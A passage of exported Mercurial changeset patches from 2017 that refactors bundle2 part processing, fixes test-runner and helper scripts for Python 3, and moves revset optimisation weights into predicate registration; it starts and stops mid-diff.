+                    msg.append(' %i advisory' % nbmp)
+                msg.append(')')
+            msg.append(' %s\n' % status)
+            op.ui.debug(''.join(msg))
+
+    return handler
+
 def _processpart(op, part):
     """process a single part from a bundle
 
     The part is guaranteed to have been fully consumed when the function exits
     (even if an exception is raised)."""
-    status = 'unknown' # used by debug output
     try:
-        try:
-            handler = parthandlermapping.get(part.type)
-            if handler is None:
-                status = 'unsupported-type'
-                raise error.BundleUnknownFeatureError(parttype=part.type)
-            indebug(op.ui, 'found a handler for part %r' % part.type)
-            unknownparams = part.mandatorykeys - handler.params
-            if unknownparams:
-                unknownparams = list(unknownparams)
-                unknownparams.sort()
-                status = 'unsupported-params (%s)' % unknownparams
-                raise error.BundleUnknownFeatureError(parttype=part.type,
-                                                      params=unknownparams)
-            status = 'supported'
-        except error.BundleUnknownFeatureError as exc:
-            if part.mandatory: # mandatory parts
-                raise
-            indebug(op.ui, 'ignoring unsupported advisory part %s' % exc)
-            return # skip to part processing
-        finally:
-            if op.ui.debugflag:
-                msg = ['bundle2-input-part: "%s"' % part.type]
-                if not part.mandatory:
-                    msg.append(' (advisory)')
-                nbmp = len(part.mandatorykeys)
-                nbap = len(part.params) - nbmp
-                if nbmp or nbap:
-                    msg.append(' (params:')
-                    if nbmp:
-                        msg.append(' %i mandatory' % nbmp)
-                    if nbap:
-                        msg.append(' %i advisory' % nbmp)
-                    msg.append(')')
-                msg.append(' %s\n' % status)
-                op.ui.debug(''.join(msg))
+        handler = _gethandler(op, part)
+        if handler is None:
+            return
 
         # handler is called outside the above try block so that we don't
         # risk catching KeyErrors from anything other than the
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505409605 25200
#      Thu Sep 14 10:20:05 2017 -0700
# Node ID cc7b37c906164789f0ea35bd520bb416a2318190
# Parent  07e4170f02f3dd4fbb88571032b5ede2622444b6
bundle2: remove unnecessary try finally

This is no longer needed.

Differential Revision: https://phab.mercurial-scm.org/D708

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -505,32 +505,28 @@
 
     The part is guaranteed to have been fully consumed when the function exits
     (even if an exception is raised)."""
-    try:
-        handler = _gethandler(op, part)
-        if handler is None:
-            return
+    handler = _gethandler(op, part)
+    if handler is None:
+        return
 
-        # handler is called outside the above try block so that we don't
-        # risk catching KeyErrors from anything other than the
-        # parthandlermapping lookup (any KeyError raised by handler()
-        # itself represents a defect of a different variety).
-        output = None
-        if op.captureoutput and op.reply is not None:
-            op.ui.pushbuffer(error=True, subproc=True)
-            output = ''
-        try:
-            handler(op, part)
-        finally:
-            if output is not None:
-                output = op.ui.popbuffer()
-            if output:
-                outpart = op.reply.newpart('output', data=output,
-                                           mandatory=False)
-                outpart.addparam(
-                    'in-reply-to', pycompat.bytestr(part.id), mandatory=False)
+    # handler is called outside the above try block so that we don't
+    # risk catching KeyErrors from anything other than the
+    # parthandlermapping lookup (any KeyError raised by handler()
+    # itself represents a defect of a different variety).
+    output = None
+    if op.captureoutput and op.reply is not None:
+        op.ui.pushbuffer(error=True, subproc=True)
+        output = ''
+    try:
+        handler(op, part)
     finally:
-        pass
-
+        if output is not None:
+            output = op.ui.popbuffer()
+        if output:
+            outpart = op.reply.newpart('output', data=output,
+                                       mandatory=False)
+            outpart.addparam(
+                'in-reply-to', pycompat.bytestr(part.id), mandatory=False)
 
 def decodecaps(blob):
     """decode a bundle2 caps bytes blob into a dictionary
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505409605 25200
#      Thu Sep 14 10:20:05 2017 -0700
# Node ID f010097c885c6a852f62fe89bcccb8d30d1ff598
# Parent  cc7b37c906164789f0ea35bd520bb416a2318190
bundle2: move part processing to a separate function

Now that the part processing loop is tiny, let's move it to a separate function.
This will allow extensions to completely replace the part processing logic,
without having to replace the overall bundle processing logic or the stream
maintenance logic.

This will be useful for the infinitepush extension, so it can completely take
over receiving a bundle and rerouting it to a side store. This will also make it
easier to upstream the infinitepush functionality later.

Differential Revision: https://phab.mercurial-scm.org/D709

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -447,12 +447,15 @@
         msg.append('\n')
         repo.ui.debug(''.join(msg))
 
+    processparts(repo, op, unbundler)
+
+    return op
+
+def processparts(repo, op, unbundler):
     with partiterator(repo, op, unbundler) as parts:
         for part in parts:
             _processpart(op, part)
 
-    return op
-
 def _processchangegroup(op, cg, tr, source, url, **kwargs):
     ret = cg.apply(op.repo, tr, source, url, **kwargs)
     op.records.add('changegroup', {
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505763290 14400
#      Mon Sep 18 15:34:50 2017 -0400
# Node ID 68c96a552c84310cba3fb382e39ad11acd870c29
# Parent  f010097c885c6a852f62fe89bcccb8d30d1ff598
python3: remove test-update-dest.t from the whitelist

I've poked at this on and off several times, and I can't figure out
what regressed. Let's kick this out of the whitelist for now so that
we can get the *rest* of our progress covered by the buildbots.

diff --git a/contrib/python3-whitelist b/contrib/python3-whitelist
--- a/contrib/python3-whitelist
+++ b/contrib/python3-whitelist
@@ -56,6 +56,5 @@
 test-status-terse.t
 test-terse-status.t
 test-unified-test.t
-test-update-dest.t
 test-update-reverse.t
 test-xdg.t
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505769092 14400
#      Mon Sep 18 17:11:32 2017 -0400
# Node ID 1533371769b5ad3de2c7aa1ed08ee7cfb99c0c91
# Parent  68c96a552c84310cba3fb382e39ad11acd870c29
tests: add support for listing tests to run in a file

This will make it easier for us to run the tests in the python3
whitelist in buildbot.

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -303,6 +303,8 @@
         help="skip tests listed in the specified blacklist file")
     parser.add_option("--whitelist", action="append",
         help="always run tests listed in the specified whitelist file")
+    parser.add_option("--test-list", action="append",
+                      help="read tests to run from the specified file")
     parser.add_option("--changed", type="string",
         help="run tests that are changed in parent rev or working directory")
     parser.add_option("-C", "--annotate", action="store_true",
@@ -2279,6 +2281,10 @@
             # positional arguments are paths to test files to run, so
             # we make sure they're all bytestrings
             args = [_bytespath(a) for a in args]
+            if options.test_list is not None:
+                for listfile in options.test_list:
+                    with open(listfile, 'rb') as f:
+                        args.extend(t for t in f.read().splitlines() if t)
             self.options = options
 
             self._checktools()
diff --git a/tests/test-run-tests.t b/tests/test-run-tests.t
--- a/tests/test-run-tests.t
+++ b/tests/test-run-tests.t
@@ -981,6 +981,19 @@
   python hash seed: * (glob)
   [1]
 
+Ensure that --test-list causes only the tests listed in that file to
+be executed.
+  $ echo test-success.t >> onlytest
+  $ rt --test-list=onlytest
+  .
+  # Ran 1 tests, 0 skipped, 0 failed.
+  $ echo test-bogus.t >> anothertest
+  $ rt --test-list=onlytest --test-list=anothertest
+  s.
+  Skipped test-bogus.t: Doesn't exist
+  # Ran 1 tests, 1 skipped, 0 failed.
+  $ rm onlytest anothertest
+
 test for --json
 ==================
 
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505794017 14400
#      Tue Sep 19 00:06:57 2017 -0400
# Node ID 8999851a503fa13a84a6a1343be3ca9b882bc3d8
# Parent  1533371769b5ad3de2c7aa1ed08ee7cfb99c0c91
tests: fix run-tests default values in Test constructor

As far as I can tell, default values are evaluated far earlier on
Python 3.6 than 2.7, meaning we've got to be more careful about when
we read the defaults dictionary for the kwarg defaults. Sigh.

With this change, test-run-tests.t is significantly less of a mess
under 3.6.

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -659,10 +659,10 @@
 
     def __init__(self, path, outputdir, tmpdir, keeptmpdir=False,
                  debug=False,
-                 timeout=defaults['timeout'],
-                 startport=defaults['port'], extraconfigopts=None,
+                 timeout=None,
+                 startport=None, extraconfigopts=None,
                  py3kwarnings=False, shell=None, hgcommand=None,
-                 slowtimeout=defaults['slowtimeout'], usechg=False,
+                 slowtimeout=None, usechg=False,
                  useipv6=False):
         """Create a test from parameters.
 
@@ -694,6 +694,12 @@
 
         shell is the shell to execute tests in.
         """
+        if timeout is None:
+            timeout = defaults['timeout']
+        if startport is None:
+            startport = defaults['port']
+        if slowtimeout is None:
+            slowtimeout = defaults['slowtimeout']
         self.path = path
         self.bname = os.path.basename(path)
         self.name = _strpath(self.bname)
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505794043 14400
#      Tue Sep 19 00:07:23 2017 -0400
# Node ID df1c290df0349dfc400ab089bccef7adee96e7b2
# Parent  8999851a503fa13a84a6a1343be3ca9b882bc3d8
tests: fix run-tests "slow test" check

Look for bytes in a set of bytes objects.

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -1265,7 +1265,7 @@
         if ret != 0:
             return False, stdout
 
-        if 'slow' in reqs:
+        if b'slow' in reqs:
             self._timeout = self._slowtimeout
         return True, None
 
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505794071 14400
#      Tue Sep 19 00:07:51 2017 -0400
# Node ID cd2ee4db8f9591c60a46c77fc0c82812268e3a05
# Parent  df1c290df0349dfc400ab089bccef7adee96e7b2
tests: fix test-is-whitelisted check in run-tests

Again, look for bytes in a set of bytes objects.

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -1853,7 +1853,7 @@
                 result.addSkip(test, "Doesn't exist")
                 continue
 
-            if not (self._whitelist and test.name in self._whitelist):
+            if not (self._whitelist and test.bname in self._whitelist):
                 if self._blacklist and test.bname in self._blacklist:
                     result.addSkip(test, 'blacklisted')
                     continue
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505794092 14400
#      Tue Sep 19 00:08:12 2017 -0400
# Node ID 25fce08b36c8b14c9742be9389940667fab1fc23
# Parent  cd2ee4db8f9591c60a46c77fc0c82812268e3a05
tests: decode bytes path to hg command before hitting with shellquote

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -2104,7 +2104,7 @@
                     opts = ''
                     withhg = self._runner.options.with_hg
                     if withhg:
-                        opts += ' --with-hg=%s ' % shellquote(withhg)
+                        opts += ' --with-hg=%s ' % shellquote(_strpath(withhg))
                     rtc = '%s %s %s %s' % (sys.executable, sys.argv[0], opts,
                                            test)
                     sub = subprocess.Popen(bisectcmd + ['--command', rtc],
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505794132 14400
#      Tue Sep 19 00:08:52 2017 -0400
# Node ID 278af542777368294c584fa13214fae78d6e8b75
# Parent  25fce08b36c8b14c9742be9389940667fab1fc23
tests: convert bisect support regex to binary

The bisection feature of run-tests still fails tests with this because
bisect itself doesn't work yet. We'll get there.

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -2113,9 +2113,9 @@
                     data = sub.stdout.read()
                     sub.wait()
                     m = re.search(
-                        (r'\nThe first (?P<goodbad>bad|good) revision '
-                         r'is:\nchangeset: +\d+:(?P<node>[a-f0-9]+)\n.*\n'
-                         r'summary: +(?P<summary>[^\n]+)\n'),
+                        (br'\nThe first (?P<goodbad>bad|good) revision '
+                         br'is:\nchangeset: +\d+:(?P<node>[a-f0-9]+)\n.*\n'
+                         br'summary: +(?P<summary>[^\n]+)\n'),
                         data, (re.MULTILINE | re.DOTALL))
                     if m is None:
                         self.stream.writeln(
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505794177 14400
#      Tue Sep 19 00:09:37 2017 -0400
# Node ID 20f547806a4dd4157faa978f1ec7006609606ce3
# Parent  278af542777368294c584fa13214fae78d6e8b75
tests: fix run-tests XML reporting on Python 3

cdatasafe wants to work in terms of bytes, but of course we have a
unicode. Easy to work around, especially since we know we'll get utf-8
at the end.

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -2194,7 +2194,8 @@
             # the skip message as a text node instead.
             t = doc.createElement('testcase')
             t.setAttribute('name', tc.name)
-            message = cdatasafe(message).decode('utf-8', 'replace')
+            binmessage = message.encode('utf-8')
+            message = cdatasafe(binmessage).decode('utf-8', 'replace')
             cd = doc.createCDATASection(message)
             skipelem = doc.createElement('skipped')
             skipelem.appendChild(cd)
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505756252 14400
#      Mon Sep 18 13:37:32 2017 -0400
# Node ID 3db2365d43e41665cbc2b9224f41cd287b8d92ba
# Parent  20f547806a4dd4157faa978f1ec7006609606ce3
tests: update `f` helper script to work on Python 3

diff --git a/tests/f b/tests/f
--- a/tests/f
+++ b/tests/f
@@ -32,13 +32,22 @@
 import re
 import sys
 
+# Python 3 adapters
+ispy3 = (sys.version_info[0] >= 3)
+if ispy3:
+    def iterbytes(s):
+        for i in range(len(s)):
+            yield s[i:i + 1]
+else:
+    iterbytes = iter
+
 def visit(opts, filenames, outfile):
     """Process filenames in the way specified in opts, writing output to
     outfile."""
     for f in sorted(filenames):
         isstdin = f == '-'
         if not isstdin and not os.path.lexists(f):
-            outfile.write('%s: file not found\n' % f)
+            outfile.write(b'%s: file not found\n' % f.encode('utf-8'))
             continue
         quiet = opts.quiet and not opts.recurse or isstdin
         isdir = os.path.isdir(f)
@@ -57,7 +66,7 @@
                 facts.append('link')
             content = os.readlink(f)
         elif isstdin:
-            content = sys.stdin.read()
+            content = getattr(sys.stdin, 'buffer', sys.stdin).read()
             if opts.size:
                 facts.append('size=%s' % len(content))
         elif isdir:
@@ -87,19 +96,19 @@
             h = hashlib.sha1(content)
             facts.append('sha1=%s' % h.hexdigest()[:opts.bytes])
         if isstdin:
-            outfile.write(', '.join(facts) + '\n')
+            outfile.write(b', '.join(facts) + b'\n')
         elif facts:
-            outfile.write('%s: %s\n' % (f, ', '.join(facts)))
+            outfile.write(b'%s: %s\n' % (f.encode('utf-8'), b', '.join(facts)))
         elif not quiet:
-            outfile.write('%s:\n' % f)
+            outfile.write(b'%s:\n' % f.encode('utf-8'))
         if content is not None:
             chunk = content
             if not islink:
                 if opts.lines:
                     if opts.lines >= 0:
-                        chunk = ''.join(chunk.splitlines(True)[:opts.lines])
+                        chunk = b''.join(chunk.splitlines(True)[:opts.lines])
                     else:
-                        chunk = ''.join(chunk.splitlines(True)[opts.lines:])
+                        chunk = b''.join(chunk.splitlines(True)[opts.lines:])
                 if opts.bytes:
                     if opts.bytes >= 0:
                         chunk = chunk[:opts.bytes]
@@ -108,18 +117,19 @@
             if opts.hexdump:
                 for i in range(0, len(chunk), 16):
                     s = chunk[i:i + 16]
-                    outfile.write('%04x: %-47s |%s|\n' %
-                                  (i, ' '.join('%02x' % ord(c) for c in s),
-                                   re.sub('[^ -~]', '.', s)))
+                    outfile.write(b'%04x: %-47s |%s|\n' %
+                                  (i, b' '.join(
+                                      b'%02x' % ord(c) for c in iterbytes(s)),
+                                   re.sub(b'[^ -~]', b'.', s)))
             if opts.dump:
                 if not quiet:
-                    outfile.write('>>>\n')
+                    outfile.write(b'>>>\n')
                 outfile.write(chunk)
                 if not quiet:
-                    if chunk.endswith('\n'):
-                        outfile.write('<<<\n')
+                    if chunk.endswith(b'\n'):
+                        outfile.write(b'<<<\n')
                     else:
-                        outfile.write('\n<<< no trailing newline\n')
+                        outfile.write(b'\n<<< no trailing newline\n')
         if opts.recurse and dirfiles:
             assert not isstdin
             visit(opts, dirfiles, outfile)
@@ -156,4 +166,4 @@
     if not filenames:
         filenames = ['-']
 
-    visit(opts, filenames, sys.stdout)
+    visit(opts, filenames, getattr(sys.stdout, 'buffer', sys.stdout))
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505756220 14400
#      Mon Sep 18 13:37:00 2017 -0400
# Node ID a254c669b47549ba9056a1a3180a918c4a4eae80
# Parent  3db2365d43e41665cbc2b9224f41cd287b8d92ba
ui: fix progress debug log format strings to work on Python 3

diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -1521,10 +1521,10 @@
 
         if total:
             pct = 100.0 * pos / total
-            self.debug('%s:%s %s/%s%s (%4.2f%%)\n'
+            self.debug('%s:%s %d/%d%s (%4.2f%%)\n'
                      % (topic, item, pos, total, unit, pct))
         else:
-            self.debug('%s:%s %s%s\n' % (topic, item, pos, unit))
+            self.debug('%s:%s %d%s\n' % (topic, item, pos, unit))
 
     def log(self, service, *msg, **opts):
         '''hook for logging facility extensions
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504319440 25200
#      Fri Sep 01 19:30:40 2017 -0700
# Node ID 53fb09c73ba84966931240152ede7743c4d0271e
# Parent  a254c669b47549ba9056a1a3180a918c4a4eae80
revset: remove "small" argument from "_optimize"

`_optimize` calculates weights of subtrees. "small" affects some weight
calculation (either 1 or 0.5). The weights are now only useful in `and`
optimization where we might swap two arguments and use `andsmally`.

In the real world, it seems unlikely that revsets with weight of 0.5 or 1
matters the `and` order optimization. I think the important thing is to get
weights of expensive revsets right (ex. `contains`).

This patch removes the `small` argument to simplify the interface.

As for choosing between 0.5 vs 1, things returning a single revision
(`ancestor`, `string`) has a weight of 0.5. Things returning multiple
revisions returns 1. This could be sometimes useful in the `andsmally`
optimization, ex.

  (((:)-2) & expensive()) & ((1-2) & expensive())
    ^^^                       ^
   ^^^^^^^                   ^^^^^
  ^^^^^^^^^^^^^^^^^^^^^^^   ^^^^^^^^^^^^^^^^^^^^^
    weight=1                 weight=0.5

would have an `andsmally` optimization so `1-2` gets executed first, which
seems to be desirable.

Differential Revision: https://phab.mercurial-scm.org/D656

diff --git a/mercurial/revsetlang.py b/mercurial/revsetlang.py
--- a/mercurial/revsetlang.py
+++ b/mercurial/revsetlang.py
@@ -353,20 +353,16 @@
     """
     return _analyze(x)
 
-def _optimize(x, small):
+def _optimize(x):
     if x is None:
         return 0, x
 
-    smallbonus = 1
-    if small:
-        smallbonus = .5
-
     op = x[0]
     if op in ('string', 'symbol'):
-        return smallbonus, x # single revisions are small
+        return 0.5, x # single revisions are small
     elif op == 'and':
-        wa, ta = _optimize(x[1], True)
-        wb, tb = _optimize(x[2], True)
+        wa, ta = _optimize(x[1])
+        wb, tb = _optimize(x[2])
         w = min(wa, wb)
 
         # (draft/secret/_notpublic() & ::x) have a fast path
@@ -397,12 +393,12 @@
             else:
                 s = '\0'.join(t[1] for w, t in ss)
                 y = _build('_list(_)', ('string', s))
-                w, t = _optimize(y, False)
+                w, t = _optimize(y)
             ws.append(w)
             ts.append(t)
             del ss[:]
         for y in getlist(x[1]):
-            w, t = _optimize(y, False)
+            w, t = _optimize(y)
             if t is not None and (t[0] == 'string' or t[0] == 'symbol'):
                 ss.append((w, t))
                 continue
@@ -416,35 +412,35 @@
     elif op == 'not':
         # Optimize not public() to _notpublic() because we have a fast version
         if _match('public()', x[1]):
-            o = _optimize(_build('_notpublic()'), not small)
+            o = _optimize(_build('_notpublic()'))
             return o[0], o[1]
         else:
-            o = _optimize(x[1], not small)
+            o = _optimize(x[1])
             return o[0], (op, o[1])
     elif op == 'rangeall':
-        return smallbonus, x
+        return 1, x
     elif op in ('rangepre', 'rangepost', 'parentpost'):
-        o = _optimize(x[1], small)
+        o = _optimize(x[1])
         return o[0], (op, o[1])
     elif op in ('dagrange', 'range'):
-        wa, ta = _optimize(x[1], small)
-        wb, tb = _optimize(x[2], small)
+        wa, ta = _optimize(x[1])
+        wb, tb = _optimize(x[2])
         return wa + wb, (op, ta, tb)
     elif op in ('parent', 'ancestor', 'relation', 'subscript'):
-        w, t = _optimize(x[1], small)
+        w, t = _optimize(x[1])
         return w, (op, t, x[2])
     elif op == 'relsubscript':
-        w, t = _optimize(x[1], small)
+        w, t = _optimize(x[1])
         return w, (op, t, x[2], x[3])
     elif op == 'list':
-        ws, ts = zip(*(_optimize(y, small) for y in x[1:]))
+        ws, ts = zip(*(_optimize(y) for y in x[1:]))
         return sum(ws), (op,) + ts
     elif op == 'keyvalue':
-        w, t = _optimize(x[2], small)
+        w, t = _optimize(x[2])
         return w, (op, x[1], t)
     elif op == 'func':
         f = getsymbol(x[1])
-        wa, ta = _optimize(x[2], small)
+        wa, ta = _optimize(x[2])
         if f in ('author', 'branch', 'closed', 'date', 'desc', 'file', 'grep',
                  'keyword', 'outgoing', 'user', 'destination'):
             w = 10 # slow
@@ -453,7 +449,7 @@
         elif f == "contains":
             w = 100 # very slow
         elif f == "ancestor":
-            w = 1 * smallbonus
+            w = 0.5
         elif f in ('reverse', 'limit', 'first', 'wdir', '_intlist'):
             w = 0
         elif f == "sort":
@@ -468,7 +464,7 @@
 
     All pseudo operations should be transformed beforehand.
     """
-    _weight, newtree = _optimize(tree, small=True)
+    _weight, newtree = _optimize(tree)
     return newtree
 
 # the set of valid characters for the initial letter of symbols in
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504320129 25200
#      Fri Sep 01 19:42:09 2017 -0700
# Node ID b0790bebfcf8fb81892adf7675561766aed056d4
# Parent  53fb09c73ba84966931240152ede7743c4d0271e
revset: move weight information to predicate

Previously revset weight is hardcoded and cannot be modified. This patch
moves it to predicate so newly registered revsets could define their weight
to properly give static optimization some hint.

Differential Revision: https://phab.mercurial-scm.org/D657

diff --git a/mercurial/registrar.py b/mercurial/registrar.py
--- a/mercurial/registrar.py
+++ b/mercurial/registrar.py
@@ -166,6 +166,16 @@
     Optional argument 'takeorder' indicates whether a predicate function
     takes ordering policy as the last argument.
 
+    Optional argument 'weight' indicates the estimated run-time cost, useful
+    for static optimization, default is 1. Higher weight means more expensive.
+    Usually, revsets that are fast and return only one revision has a weight of
+    0.5 (ex. a symbol); revsets with O(changelog) complexity and read only the
+    changelog have weight 10 (ex. author); revsets reading manifest deltas have
+    weight 30 (ex. adds); revset reading manifest contents have weight 100
+    (ex. contains). Note: those values are flexible. If the revset has a
+    same big-O time complexity as 'contains', but with a smaller constant, it
+    might have a weight of 90.
+
     'revsetpredicate' instance in example above can be used to
     decorate multiple functions.
 
@@ -178,9 +188,10 @@
     _getname = _funcregistrarbase._parsefuncdecl
     _docformat = "``%s``\n    %s"
 
-    def _extrasetup(self, name, func, safe=False, takeorder=False):
+    def _extrasetup(self, name, func, safe=False, takeorder=False, weight=1):
         func._safe = safe
         func._takeorder = takeorder
+        func._weight = weight
 
 class filesetpredicate(_funcregistrarbase):
     """Decorator to register fileset predicate
diff --git a/mercurial/revset.py b/mercurial/revset.py
--- a/mercurial/revset.py
+++ b/mercurial/revset.py
@@ -253,7 +253,7 @@
 #   repo - current repository instance
 #   subset - of revisions to be examined
 #   x - argument in tree form
-symbols = {}
+symbols = revsetlang.symbols
 
 # symbols which can't be used for a DoS attack for any given input
 # (e.g. those which accept regexes as plain strings shouldn't be included)
@@ -276,7 +276,7 @@
         sourceset = getset(repo, fullreposet(repo), x)
     return subset & baseset([destutil.destmerge(repo, sourceset=sourceset)])
 
-@predicate('adds(pattern)', safe=True)
+@predicate('adds(pattern)', safe=True, weight=30)
 def adds(repo, subset, x):
     """Changesets that add a file matching pattern.
 
@@ -288,7 +288,7 @@
     pat = getstring(x, _("adds requires a pattern"))
     return checkstatus(repo, subset, pat, 1)
 
-@predicate('ancestor(*changeset)', safe=True)
+@predicate('ancestor(*changeset)', safe=True, weight=0.5)
 def ancestor(repo, subset, x):
     """A greatest common ancestor of the changesets.
 
@@ -394,7 +394,7 @@
         ps.add(r)
     return subset & ps
 
-@predicate('author(string)', safe=True)
+@predicate('author(string)', safe=True, weight=10)
 def author(repo, subset, x):
     """Alias for ``user(string)``.
     """
@@ -462,7 +462,7 @@
     bms -= {node.nullrev}
     return subset & bms
 
-@predicate('branch(string or set)', safe=True)
+@predicate('branch(string or set)', safe=True, weight=10)
 def branch(repo, subset, x):
     """
     All changesets belonging to the given branch or the branches of the given
@@ -595,7 +595,7 @@
     cs = _children(repo, subset, s)
     return subset & cs
 
-@predicate('closed()', safe=True)
+@predicate('closed()', safe=True, weight=10)
 def closed(repo, subset, x):
     """Changeset is closed.
     """
@@ -604,7 +604,7 @@
     return subset.filter(lambda r: repo[r].closesbranch(),
                          condrepr='<branch closed>')
 
-@predicate('contains(pattern)')
+@predicate('contains(pattern)', weight=100)
 def contains(repo, subset, x):
     """The revision's manifest contains a file matching pattern (but might not
     modify it). See :hg:`help patterns` for information about file patterns.
@@ -654,7 +654,7 @@
     return subset.filter(lambda r: _matchvalue(r),
                          condrepr=('<converted %r>', rev))
 
-@predicate('date(interval)', safe=True)
+@predicate('date(interval)', safe=True, weight=10)
 def date(repo, subset, x):
     """Changesets within the interval, see :hg:`help dates`.
     """
@@ -664,7 +664,7 @@
     return subset.filter(lambda x: dm(repo[x].date()[0]),
                          condrepr=('<date %r>', ds))
 
-@predicate('desc(string)', safe=True)
+@predicate('desc(string)', safe=True, weight=10)
 def desc(repo, subset, x):
     """Search commit message for string. The match is case-insensitive.
 
@@ -722,7 +722,7 @@
     # Like ``descendants(set)`` but follows only the first parents.
     return _descendants(repo, subset, x, followfirst=True)
 
-@predicate('destination([set])', safe=True)
+@predicate('destination([set])', safe=True, weight=10)
 def destination(repo, subset, x):
     """Changesets that were created by a graft, transplant or rebase operation,
     with the given revisions specified as the source.  Omitting the optional set
@@ -891,7 +891,7 @@
 
     return subset & s
 
-@predicate('first(set, [n])', safe=True, takeorder=True)
+@predicate('first(set, [n])', safe=True, takeorder=True, weight=0)
 def first(repo, subset, x, order):
     """An alias for limit().
     """
@@ -1012,7 +1012,7 @@
     getargs(x, 0, 0, _("all takes no arguments"))
     return subset & spanset(repo)  # drop "null" if any
 
-@predicate('grep(regex)')
+@predicate('grep(regex)', weight=10)
 def grep(repo, subset, x):
     """Like ``keyword(string)`` but accepts a regex. Use ``grep(r'...')``
     to ensure special escape characters are handled correctly. Unlike
@@ -1097,7 +1097,7 @@
                                    'exclude=%r, default=%r, rev=%r>',
                                    pats, inc, exc, default, rev))
 
-@predicate('file(pattern)', safe=True)
+@predicate('file(pattern)', safe=True, weight=10)
 def hasfile(repo, subset, x):
     """Changesets affecting files matched by pattern.
 
@@ -1139,7 +1139,7 @@
     hiddenrevs = repoview.filterrevs(repo, 'visible')
     return subset & hiddenrevs
 
-@predicate('keyword(string)', safe=True)
+@predicate('keyword(string)', safe=True, weight=10)
 def keyword(repo, subset, x):
     """Search commit message, user name, and names of changed files for
     string. The match is case-insensitive.
@@ -1157,7 +1157,7 @@
 
     return subset.filter(matches, condrepr=('<keyword %r>', kw))
 
-@predicate('limit(set[, n[, offset]])', safe=True, takeorder=True)
+@predicate('limit(set[, n[, offset]])', safe=True, takeorder=True, weight=0)
 def limit(repo, subset, x, order):
     """First n members of set, defaulting to 1, starting from offset.
     """
@@ -1259,7 +1259,7 @@
         pass
     return baseset(datarepr=('<min %r, %r>', subset, os))
 
-@predicate('modifies(pattern)', safe=True)
+@predicate('modifies(pattern)', safe=True, weight=30)
 def modifies(repo, subset, x):
     """Changesets modifying files matched by pattern.
 
@@ -1403,7 +1403,7 @@
     # some optimizations from the fact this is a baseset.
     return subset & o
 
-@predicate('outgoing([path])', safe=False)
+@predicate('outgoing([path])', safe=False, weight=10)
 def outgoing(repo, subset, x):
     """Changesets not found in the specified destination repository, or the
     default push location.
@@ -1654,7 +1654,7 @@
             return baseset([r])
     return baseset()
 
-@predicate('removes(pattern)', safe=True)
+@predicate('removes(pattern)', safe=True, weight=30)
 def removes(repo, subset, x):
     """Changesets which remove files matching pattern.
 
@@ -1794,7 +1794,7 @@
 
     return subset.filter(matches, condrepr=('<matching%r %r>', fields, revs))
 
-@predicate('reverse(set)', safe=True, takeorder=True)
+@predicate('reverse(set)', safe=True, takeorder=True, weight=0)
 def reverse(repo, subset, x, order):
     """Reverse order of set.
     """
@@ -1862,7 +1862,8 @@
 
     return args['set'], keyflags, opts
 
-@predicate('sort(set[, [-]key... [, ...]])', safe=True, takeorder=True)
+@predicate('sort(set[, [-]key... [, ...]])', safe=True, takeorder=True,
+           weight=10)
 def sort(repo, subset, x, order):
     """Sort set by keys. The default sort order is ascending, specify a key
     as ``-key`` to sort in descending order.
@@ -2033,7 +2034,7 @@
     return subset & orphan
 
 
-@predicate('user(string)', safe=True)
+@predicate('user(string)', safe=True, weight=10)
 def user(repo, subset, x):
     """User name contains string. The match is case-insensitive.
 
@@ -2042,7 +2043,7 @@
     """
     return author(repo, subset, x)
 
-@predicate('wdir()', safe=True)
+@predicate('wdir()', safe=True, weight=0)
 def wdir(repo, subset, x):
     """Working directory. (EXPERIMENTAL)"""
     # i18n: "wdir" is a keyword
@@ -2097,7 +2098,7 @@
     return baseset([r for r in ls if r in s])
 
 # for internal use
-@predicate('_intlist', safe=True, takeorder=True)
+@predicate('_intlist', safe=True, takeorder=True, weight=0)
 def _intlist(repo, subset, x, order):
     if order == followorder:
         # slow path to take the subset order
diff --git a/mercurial/revsetlang.py b/mercurial/revsetlang.py
--- a/mercurial/revsetlang.py
+++ b/mercurial/revsetlang.py
@@ -49,6 +49,8 @@
 
 keywords = {'and', 'or', 'not'}
 
+symbols = {}
+
 _quoteletters = {'"', "'"}
 _simpleopletters = set(pycompat.iterbytestr("()[]#:=,-|&+!~^%"))
 
@@ -441,21 +443,7 @@
     elif op == 'func':
         f = getsymbol(x[1])
         wa, ta = _optimize(x[2])
-        if f in ('author', 'branch', 'closed', 'date', 'desc', 'file', 'grep',
-                 'keyword', 'outgoing', 'user', 'destination'):
-            w = 10 # slow
-        elif f in ('modifies', 'adds', 'removes'):
-            w = 30 # slower
-        elif f == "contains":
-            w = 100 # very slow
-        elif f == "ancestor":
